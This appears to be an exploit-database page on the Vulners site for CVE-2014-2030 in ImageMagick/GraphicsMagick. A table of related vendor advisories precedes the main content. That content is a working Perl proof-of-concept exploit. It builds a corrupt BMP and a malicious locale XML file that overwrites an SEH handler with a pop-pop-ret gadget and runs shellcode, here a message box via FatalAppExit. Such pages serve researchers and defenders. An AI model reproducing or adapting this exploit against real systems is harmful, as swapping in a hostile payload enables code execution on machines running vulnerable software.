| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| CVE-2014-2030 | 6 Feb 202015:15 | – | attackerkb | |
| Medium: ImageMagick | 13 May 201400:00 | – | amazon | |
| Medium: GraphicsMagick | 1 Oct 201400:00 | – | amazon | |
| Amazon Linux AMI : ImageMagick (ALAS-2014-336) | 12 Oct 201400:00 | – | nessus | |
| Amazon Linux AMI : GraphicsMagick (ALAS-2014-420) | 12 Oct 201400:00 | – | nessus | |
| Debian DSA-2898-1 : imagemagick - security update | 10 Apr 201400:00 | – | nessus | |
| Fedora 21 : GraphicsMagick-1.3.20-3.fc21 (2014-14617) | 17 Nov 201400:00 | – | nessus | |
| Fedora 20 : ImageMagick-6.8.6.3-4.fc20 (2014-4969) | 16 Apr 201400:00 | – | nessus | |
| Fedora 20 : GraphicsMagick-1.3.20-1.fc20 (2014-9596) | 29 Aug 201400:00 | – | nessus | |
| Fedora 19 : GraphicsMagick-1.3.20-3.fc19 (2014-9624) | 15 Sep 201400:00 | – | nessus |
sub write_file {
my ($file, $buffer) = @_;
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";
}
# create bmp file header; needs to be a valid header to generate necessary error
sub bmp_header {
my $header = "\x42\x4d"; # BM
$header = $header . "\x46\x00\x00\x00"; # file size (70 bytes)
$header = $header . "\x00\x00\x00\x00"; # unused
$header = $header . "\x36\x00\x00\x00"; # bitmap offset
$header = $header . "\x28\x00\x00\x00"; # header size
$header = $header . "\x02\x00\x00\x00"; # width
$header = $header . "\x02\x00\x00\x00"; # height
$header = $header . "\x01\x00"; # num of color planes
$header = $header . "\x18\x00"; # num of bits per pixel
$header = $header . "\x00\x00\x00\x00"; # compression (none)
$header = $header . "\x10\x00\x00\x00"; # image size
$header = $header . "\x13\x0b\x00\x00"; # horizontal resolution (2,835 pixels/meter)
$header = $header . "\x13\x0b\x00\x00"; # vertical resolution (2,835 pixels/meter)
$header = $header . "\x00\x00\x00\x00"; # colors in palette
$header = $header . "\x00\x00\x00\x00"; #important colors
return $header;
}
## Construct the corrupted bmp file which will trigger the vuln
my $header = bmp_header();
my $data = "\x41" x (5000 - length($header)); # arbitrary file data filler
my $buffer = $header.$data;
write_file("corrupt.bmp", $buffer);
# construct the buffer payload for our xml file
my $buffsize = 100000;
my $junk = "\x41" x 62504; # offset to next seh at 568
my $nseh = "\xeb\x32\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V', 0x74c82f4f); # : pop ebp pop ebx ret
# ASLR: False, Rebase: False, SafeSEH: False, OS: True, C:\WINDOWS\system32\OLEACC.dll)
my $junk2 = "\x41" x 12; # there are at least two possible offsets -- 1 for file-> open and 1 for the open file menubar button
my $nops = "\x90" x 100;
# this is just a POC shellcode that displays a messagebox using the FatalAppExit function
my $shell = "\xb9\x7c\xec\xa5\x7c" . # Unicode String "FailSilently" (address may vary)
"\x31\xc0" . # xor eax, eax
"\xbb\xb2\x1b\x86\x7c" . # kernel32.dll FatalAppExit()
"\x51" . # push ecx
"\x50" . # push eax
"\xff\xd3"; # call ebx
my $sploit = $junk.$nseh.$seh.$junk2.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk
$sploit = $sploit.$fill; # assemble the final buffer
# build the malicious xml file
my $xml = '<?xml version="1.0" encoding="UTF-8"?><locale name="english"><exception><corrupt><image><warning><message name="LengthAndFilesizeDoNotMatch">';
$xml = $xml . $sploit;
$xml = $xml . '</message></warning></image></corrupt></exception></locale>';
my $buffer = $xml;
write_file("english.xml", $buffer);
# 0day.today [2018-04-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation